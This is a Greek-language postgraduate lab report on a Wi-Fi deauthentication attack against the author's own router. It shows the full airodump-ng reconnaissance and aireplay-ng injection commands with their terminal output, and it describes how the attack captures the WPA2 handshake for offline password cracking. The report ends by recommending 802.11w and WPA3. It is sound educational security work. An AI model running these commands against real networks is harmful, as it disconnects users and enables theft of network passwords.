



Πανεπιστήμιο Πειραιώς
Σχολή Τεχνολογιών Πληροφορικής και Τηλεπικοινωνιών
Τμήμα Ψηφιακών Συστημάτων

Επίπεδο: Μεταπτυχιακό Πρόγραμμα Σπουδών

Ασφάλεια Ασύρματων και Κινητών Δικτύων

Case 2

Επιβλέποντες Καθηγητές: Χρήστος Ξενάκης και Γεώργιος Ευθύμογλου

Καλαϊτζίδης Ιωάννης

ioannis_kalaitzidis@ssl-unipi.gr

Πειραιάς
09/04/2026

Περίληψη

Μετάβαση από την παρακολούθηση στην εκμετάλλευση μέσω στοχευμένης επίθεσης αποσύνδεσης (Deauthentication) σε ελεγχόμενο περιβάλλον. Αρχικός εντοπισμός της φυσικής διεύθυνσης (BSSID) και του καναλιού εκπομπής του δρομολογητή-στόχου με τη χρήση του εργαλείου airodump-ng. Στη συνέχεια, έγχυση πλαστών μηνυμάτων διαχείρισης για την πλαστογράφηση της ταυτότητας του Access Point και τη βίαιη διακοπή της σύνδεσης της στοχευμένης συσκευής. Τελική επιβεβαίωση των αδυναμιών του προτύπου 802.11 και της έλλειψης μηχανισμών αυθεντικοποίησης στα μηνύματα διαχείρισης, αναδεικνύοντας την ευπάθεια του δικτύου σε επιθέσεις άρνησης υπηρεσίας (DoS).

Abstract

Transition from monitoring to exploitation via a targeted deauthentication attack in a controlled environment. Initial identification of the target router's physical address (BSSID) and transmission channel utilizing the airodump-ng tool. Subsequent injection of forged management frames to spoof the Access Point's identity and forcefully disconnect the target device. Final confirmation of the 802.11 standard vulnerabilities and the lack of authentication mechanisms in management frames, highlighting the network's susceptibility to Denial of Service (DoS) attacks.

Περιεχόμενα

Εισαγωγή.....	1
Πρακτικό κομμάτι εργασίας.....	2
Βιβλιογραφία.....	7

Εισαγωγή

Η παρούσα εργασία αποτελεί συνέχεια του Use Case 1, όπου μέσω της παθητικής παρακολούθησης και της ανάλυσης των ασύρματων πλαισίων (Management, Control και Data frames) αναδείχθηκε η εγγενής αδυναμία του προτύπου 802.11, δηλαδή η απουσία μηχανισμών αυθεντικοποίησης στα μηνύματα διαχείρισης. Με αφετηρία την παραπάνω διαπίστωση, το Use Case 2 σηματοδοτεί τη μετάβαση από την απλή καταγραφή της κίνησης στην ενεργητική παρέμβαση (packet injection) στο ασύρματο μέσο. Αντικείμενο του τρέχοντος σεναρίου αποτελεί η πρακτική εκμετάλλευση της προαναφερθείσας ευπάθειας, μέσω της υλοποίησης μιας στοχευμένης επίθεσης αποσύνδεσης σε αυστηρά ελεγχόμενο περιβάλλον. Η διαδικασία εκκινεί με το απαραίτητο στάδιο της αναγνώρισης, αξιοποιώντας το εργαλείο airodump-ng για τη χαρτογράφηση του δικτύου και τη συλλογή των κρίσιμων τεχνικών παραμέτρων (BSSID και κανάλι εκπομπής), προετοιμάζοντας με αυτόν τον τρόπο το έδαφος για την επερχόμενη έγχυση πλαστών μηνυμάτων.

Σημείωση Απορρήτου: Για λόγους ασφαλείας και προστασίας προσωπικών δεδομένων, στην παρούσα εργασία έχουν αποκρυφθεί ορισμένα ευαίσθητα στοιχεία. Συγκεκριμένα, τόσο στο κείμενο (με τη χρήση «XX:XX:XX») όσο και στα στιγμιότυπα οθόνης (με χρήση μαύρων πλαισίων), έχουν αποκρυφθεί τμήματα των διευθύνσεων MAC (BSSIDs και Station IDs). Επίσης, έχουν καλυφθεί κάποια από τα ονόματα (SSID) που προδίδουν την τοποθεσία ή επίθετα και τα στοιχεία των γειτονικών δικτύων που καταγράφηκαν τυχαία κατά τη διάρκεια της σάρωσης.

Πρακτικό κομμάτι εργασίας

Στο παρόν στάδιο της άσκησης πραγματοποιείται η μετάβαση από την παρακολούθηση (sniffing) στην παρέμβαση (packet injection) στο ασύρματο μέσο. Ειδικότερα, η διαδικασία περιλαμβάνει την αποστολή πλαστών μηνυμάτων αποσύνδεσης (Deauthentication frames), με στόχο τη βίαιη διακοπή της επικοινωνίας μεταξύ του δρομολογητή (Access Point) και μιας συνδεδεμένης συσκευής (Client). Πριν από την εκτέλεση της επίθεσης, καθίσταται αναγκαία η συγκέντρωση δύο κρίσιμων πληροφοριών κατά το στάδιο της αναγνώρισης: της φυσικής διεύθυνσης (BSSID) του δρομολογητή και του καναλιού (Channel) στο οποίο εκπέμπει. Για την άντληση των εν λόγω δεδομένων, αξιοποιείται το εργαλείο airodump-ng. Μέσω της εκτέλεσης της εντολής **sudo airodump-ng wlan0**, η διεπαφή δικτύου τίθεται σε κατάσταση συνεχούς ακρόασης, επιτρέποντας τη σάρωση του τοπικού ασύρματου φάσματος, την καταγραφή των γειτονικών δικτύων και τον ακριβή εντοπισμό των απαιτούμενων τεχνικών στοιχείων του δικτύου-στόχου.

```
(kali@kali)-[~]
$ sudo airodump-ng wlan0
[sudo] password for kali:

CH 13 ][ Elapsed: 18 s ][ 2026-04-04 14:44

BSSID            PWR  Beacons  #Data, #/s  CH  MB  ENC  CIPHER  AUTH  ESSID
-----
-70             2      0      0  0  11  360  WPA2  CCMP    PSK    COSMOTE-bhdb25
-76             1      0      0  1  405  WPA2  CCMP    PSK    [REDACTED]
-73             2      0      0  3  130  WPA2  CCMP    PSK    VODAFONE_H268Q-3372
-1              0      0      0  3  -1    WPA2  CCMP    PSK    <length: 0>
-72            16      0      0  4  400  WPA2  CCMP    PSK    Huawei_XfV4NM
-70             3      0      0  13  270  WPA2  CCMP    PSK    COSMOTE-734612
-73             1      0      0  6  195  OPN    [REDACTED]    WiFi
-73            13      0      0  1  540  WPA2  CCMP    PSK    COSMOTE-654980
-70            13      1      0  1  360  WPA2  CCMP    PSK    VODAFONE_H268Q-9410
-62            31      0      0  1  405  WPA2  CCMP    PSK    COSMOTE_3J5285_2.4G
-75             0      0      0  1  405  WPA2  CCMP    PSK    [REDACTED]
30:DE:4B:       -20      70      6  0  11  130  WPA2  CCMP    PSK    JK
-52            0      0      0  0  11  130  WPA2  CCMP    PSK    <length: 0>
-51            58      0      0  8  130  WPA2  CCMP    PSK    VODAFONE_H268Q-4971
-69            14      0      0  11  130  WPA2  CCMP    PSK    <length: 0>
-68            18      1      0  11  130  WPA2  CCMP    PSK    Lakis

BSSID            STATION          PWR  Rate  Lost  Frames  Notes  Probes
-----
-78             0 - 1      0      1      1
-72             0 - 1e     0      1      1
-74             0 - 1      0      6
-62             0 - 1      0     11
-70             0 - 1      0      3
-58             0 - 1      0     12
-72             0 - 1      0     17
-70             0 - 1      0     15
-60             0 - 1      0      1
-64             0 - 1      0      1
-58             0 - 1      0      1
-58             0 - 6      0      2
-74             0 - 6      7      4
-76             0 - 1      0      2
30:DE:4B:       84:7C:9B:       -50     1e- 1e     0     14
```

Η ανάλυση των αποτελεσμάτων της σάρωσης οδήγησε στον επιτυχή εντοπισμό του προσωπικού δικτύου-στόχου (με SSID «JK») και στην εξαγωγή των κρίσιμων παραμέτρων για την υλοποίηση της επίθεσης. Ειδικότερα, καταγράφηκε η φυσική διεύθυνση (BSSID) του δρομολογητή ως **30:DE:4B:XX:XX:XX**, καθώς και το κανάλι λειτουργίας του (Channel 11). Παράλληλα, στο τμήμα καταγραφής των συνδεδεμένων

πελατών (STATION) του airodump-ng, ταυτοποιήθηκε η MAC διεύθυνση μιας συσκευής (**84:7C:9B:XX:XX:XX**), η οποία επικοινωνούσε ενεργά με τον εν λόγω δρομολογητή. Η ορθότητα αυτού του ευρήματος επαληθεύτηκε πλήρως και μέσω της διαχειριστικής εφαρμογής (TP-Link app) του δρομολογητή, όπου επιβεβαιώθηκε οπτικά η ενεργή σύνδεση της συγκεκριμένης συσκευής στο δίκτυο, φέροντας την ίδια ακριβώς διεύθυνση MAC (όπως φαίνεται στο σχετικό στιγμιότυπο οθόνης). Προκειμένου να βελτιστοποιηθεί η στόχευση της επίθεσης και να αποφευχθεί η απώλεια πακέτων, κρίθηκε αναγκαίος ο εστιασμός της ασύρματης διεπαφής αποκλειστικά στο συγκεκριμένο κανάλι και δίκτυο. Η παραμετροποίηση αυτή επιτεύχθηκε μέσω της εκτέλεσης της εντολής **sudo airodump-ng -c 11 --bssid 30:DE:4B:XX:XX:XX wlan0**. Η συγκεκριμένη διεργασία διατηρήθηκε ενεργή, λειτουργώντας πλέον ως μηχανισμός συνεχούς παρακολούθησης στοχευμένης κίνησης σε πραγματικό χρόνο, με σκοπό την οπτική επιβεβαίωση της επιτυχούς αποσύνδεσης της συσκευής-στόχου κατά τη διάρκεια της επερχόμενης επίθεσης Deauthentication.

```
(kali@kali)-[~]
$ sudo airodump-ng -c 11 --bssid 30:DE:4B:1F:C5:F2 wlan0
```

CH 11][Elapsed: 36 s][2026-04-04 15:06										
BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
30:DE:4B:1F:C5:F2	-22	35	246	42 0	11	130	WPA2	CCMP	PSK	JK
BSSID	STATION		PWR	Rate	Lost	Frames	Notes	Probes		
30:DE:4B:1F:C5:F2	78:8B:2A:CE:05:E9	-48	1e- 6e	0	14					
30:DE:4B:1F:C5:F2	54:48:E6:B8:F2:A3	-41	24e- 6	0	8					
30:DE:4B:1F:C5:F2	84:7C:9B:68:24:F2	-46	1e- 1e	17	88					

Για την εκτέλεση της επίθεσης και την αποστολή των πλαστών μηνυμάτων αποσύνδεσης (Deauthentication frames), απαιτήθηκε η εκκίνηση μιας νέας συνεδρίας σε ένα δεύτερο, ανεξάρτητο τερματικό. Στο νέο αυτό περιβάλλον αξιοποιήθηκε το εργαλείο aireplay-ng, το οποίο εξειδικεύεται στη διαδικασία της ενεργητικής έγχυσης (packet injection), αναλαμβάνοντας τη δημιουργία και την απευθείας εκπομπή των κατασκευασμένων πακέτων στο ασύρματο μέσο. Η υλοποίηση της στοχευμένης επίθεσης πραγματοποιήθηκε με την εκτέλεση της εντολής **sudo aireplay-ng --deauth 15 -a 30:DE:4B:XX:XX:XX -c 84:7C:9B:XX:XX:XX wlan0**. Μέσω της

συγκεκριμένης εντολής, το εργαλείο προχώρησε στην αποστολή ενός καθορισμένου αριθμού πλαστών πακέτων αποσύνδεσης, προσποιούμενο την ταυτότητα του Access Point (βάσει της παραμέτρου -a), με αποκλειστικό στόχο τη βίαιη διακοπή της σύνδεσης της προεπιλεγμένης συσκευής πελάτη (βάσει της παραμέτρου -c).

```
(kali@kali)-[~]
$ sudo aireplay-ng --deauth 15 -a 30:DE:4B:1F:C5:F2 -c 84:7C:9B:68:24:F2 wlan0
15:09:36 Waiting for beacon frame (BSSID: 30:DE:4B:1F:C5:F2) on channel 11
15:09:37 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [15|33 ACKs]
15:09:38 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [12|34 ACKs]
15:09:38 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 0|33 ACKs]
15:09:39 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 0|51 ACKs]
15:09:40 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 1|40 ACKs]
15:09:41 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 0|36 ACKs]
15:09:42 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [49|69 ACKs]
15:09:43 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 0|50 ACKs]
15:09:44 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 1|59 ACKs]
15:09:45 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 0|64 ACKs]
15:09:46 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [87|88 ACKs]
15:09:47 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [85|85 ACKs]
15:09:48 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 6|58 ACKs]
15:09:48 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 0|41 ACKs]
15:09:49 Sending 64 directed DeAuth (code 7). STMAC: [84:7C:9B:68:24:F2] [ 1|41 ACKs]
(kali@kali)-[~]
$
```

Η ανάλυση της καταγραφής του τερματικού αποτυπώνει τον πυρήνα της επίθεσης Deauthentication σε πλήρη εξέλιξη. Ειδικότερα, η εμφάνιση του μηνύματος «**Sending 64 directed DeAuth (code 7)**» υποδεικνύει ότι το εργαλείο aireplay-ng παράγει και εγχέει (inject) συνεχόμενα πλαστά πλαίσια αποσύνδεσης (Management frames), τα οποία κατευθύνονται στοχευμένα προς την επιλεγμένη συσκευή. Παράλληλα, η ένδειξη των λαμβανόμενων επιβεβαιώσεων «[x | y ACKs]» αποτελεί το κρίσιμότερο εύρημα της διαδικασίας, καθώς πιστοποιεί την αλληλεπίδραση του στόχου με τα κατασκευασμένα πακέτα. Η καταγραφή των συγκεκριμένων ACKs αποδεικνύει εμπράκτως ότι η στοχευμένη συσκευή λαμβάνει, αποδέχεται και επεξεργάζεται τα πλαστογραφημένα πλαίσια ως απολύτως έγκυρα και νόμιμα, γεγονός που επιφέρει την άμεση και βίαιη διακοπή της σύνδεσής της από το δίκτυο.

Η επιτυχία της επίθεσης Deauthentication επιβεβαιώνεται πλήρως από την ανάλυση των δεδομένων παρακολούθησης μέσω του εργαλείου airodump-ng. Ειδικότερα, η καταγραφή ενός εξαιρετικά υψηλού αριθμού απωλεσθέντων πακέτων (Lost frames) για τη συσκευή-στόχο αποτελεί άμεσο σύμπτωμα της στοχευμένης παρεμβολής και της συνεπακόλουθης κατάρρευσης της σύνδεσης. Το πλέον αξιοσημείωτο εύρημα, ωστόσο, έγκειται στον εξαναγκασμό της συσκευής σε αυτόματη επανασύνδεση μετά τη λήξη της επίθεσης. Κατά τη διάρκεια αυτής της διαδικασίας, η παθητική ακρόαση πέτυχε την υποκλοπή της διαδικασίας αυθεντικοποίησης (4-way handshake), γεγονός που πιστοποιείται οπτικά τόσο από την ένδειξη «WPA handshake» στο γενικό πλαίσιο, όσο και από την παρουσία πακέτων τύπου «EAPOL» στα επιμέρους στοιχεία του πελάτη. Η συγκεκριμένη εξέλιξη αναδεικνύει εμπράκτως

πώς μια τοπική επίθεση άρνησης υπηρεσίας (Denial of Service) δύναται να αποτελέσει το κρίσιμο προπαρασκευαστικό στάδιο για την πλήρη παραβίαση ενός δικτύου WPA2, επιτρέποντας τη συλλογή των απαραίτητων κρυπτογραφικών δεδομένων για την περαιτέρω αποκωδικοποίηση (offline password cracking) του κωδικού πρόσβασης.

```
(kali@kali)-[~]
$ sudo airodump-ng -c 11 --bssid 30:DE:4B: wlan0

CH 11 ][ Elapsed: 4 mins ][ 2026-04-04 15:10 ][ WPA handshake: 30:DE:4B:
BSSID          PWR RXQ Beacons  #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
30:DE:4B:      -23   0    1603    411   0  11  130  WPA2 CCMP  PSK  JK
BSSID          STATION          PWR   Rate    Lost  Frames  Notes  Probes
30:DE:4B:      78:8B:2A:        -48   1e- 1e    0     173
30:DE:4B:      54:48:E6:        -44   6e- 6e    2      64
30:DE:4B:      84:7C:9B:        -46   1e- 1e   337   2398  EAPOL  JK
```

Συμπέρασμα

Στο δεύτερο και τελικό στάδιο της άσκησης, πραγματοποιήθηκε η μετάβαση από την παθητική παρακολούθηση στην ενεργητική παρέμβαση, μέσω της επιτυχούς υλοποίησης μιας στοχευμένης επίθεσης αποσύνδεσης (Deauthentication-Packet Injection). Με την εκμετάλλευση του κρίσιμου κενού ασφαλείας του αρχικού προτύπου IEEE 802.11 -ήτοι την απουσία υποχρεωτικής αυθεντικοποίησης στα μηνύματα διαχείρισης- κατέστη δυνατή η πλαστογράφιση της ταυτότητας του Access Point και η επιβολή αναγκαστικής αποσύνδεσης μιας νόμιμης συσκευής από το δίκτυο.

Η παρακολούθηση του καναλιού κατά τη διάρκεια της επίθεσης μέσω του εργαλείου airodump-ng επιβεβαίωσε την πλήρη κατάρρευση της επικοινωνίας, γεγονός που αποτυπώθηκε από τον υψηλό αριθμό απωλεσθέντων πακέτων (lost frames). Ωστόσο, το πλέον κρίσιμο εύρημα της διαδικασίας υπήρξε η συμπεριφορά της συσκευής μετά τη διακοπή: στην προσπάθειά της να επανασυνδεθεί αυτόματα, εκκίνησε τη διαδικασία 4-Way Handshake. Το εργαλείο παρακολούθησης κατέγραψε επιτυχώς τα πακέτα αυθεντικοποίησης (EAPOL), υποκλέπτοντας τα κρυπτογραφικά δεδομένα πρόσβασης του δικτύου.

Η παρούσα εργασία αποδεικνύει εμπράκτως ότι η επίθεση Deauthentication δεν συνιστά απλώς μια μέθοδο DoS για την πρόκληση δυσλειτουργιών. Αντιθέτως, αποτελεί το θεμελιώδες, στρατηγικό πρώτο βήμα για την πλήρη παραβίαση ασύρματων δικτύων (WPA/WPA2), καθώς εξαναγκάζει τον στόχο να αποκαλύψει τα δεδομένα

αυθεντικοποίησής του (handshake) στον επιτιθέμενο. Τα ευρήματα αυτά υπογραμμίζουν την επιτακτική ανάγκη μετάβασης σε νεότερα πρότυπα και τεχνολογίες, όπως το IEEE 802.11w (Protected Management Frames) και το WPA3, τα οποία θωρακίζουν αποτελεσματικά τα «διοικητικά» μηνύματα του δικτύου έναντι τέτοιου είδους πλαστογραφήσεων.

Βιβλιογραφία

- Wikipedia contributors. (2026, April 4). Wi-Fi deauthentication attack. Retrieved from https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
- Zieniūtė, U., & Zieniūtė, U. (2026, January 6). What is a deauthentication attack, and how does it work? Retrieved from <https://nordvpn.com/blog/deauthentication-attack/?srsltid=AfmBOorMmQBhE-2qXtcE9vW-rjKnuid9BwTAfTB2jjtd8R3A5yE779su>
- Iliadis, F., & Iliadis, F. (2024, March 18). Deauthentication Attacks | Baeldung on Computer Science. Retrieved from <https://www.baeldung.com/cs/deauthentication-attacks>
- GeeksforGeeks. (2024, September 19). WiFi deauthentication attack against 802.11 protocol. Retrieved from <https://www.geeksforgeeks.org/linux-unix/wi-fi-deauthentication-attack-against-802-11-protocol/>
- David Bombal. (2024, July 28). *Cracking WiFi WPA2 Handshakes (And does it work with WPA3?)* [Video file]. Retrieved from <https://www.youtube.com/watch?v=X49IIPHcurE>
- User. (n.d.). Which part of the eapol packets contain WPA password Hash? Retrieved from <https://security.stackexchange.com/questions/41467/which-part-of-the-eapol-packets-contain-wpa-password-hash>
- Molenaar, R., & Molenaar, R. (2026, March 27). WPA and WPA2 4-Way Handshake. Retrieved from <https://networklessons.com/wireless/wpa-and-wpa2-4-way-handshake>

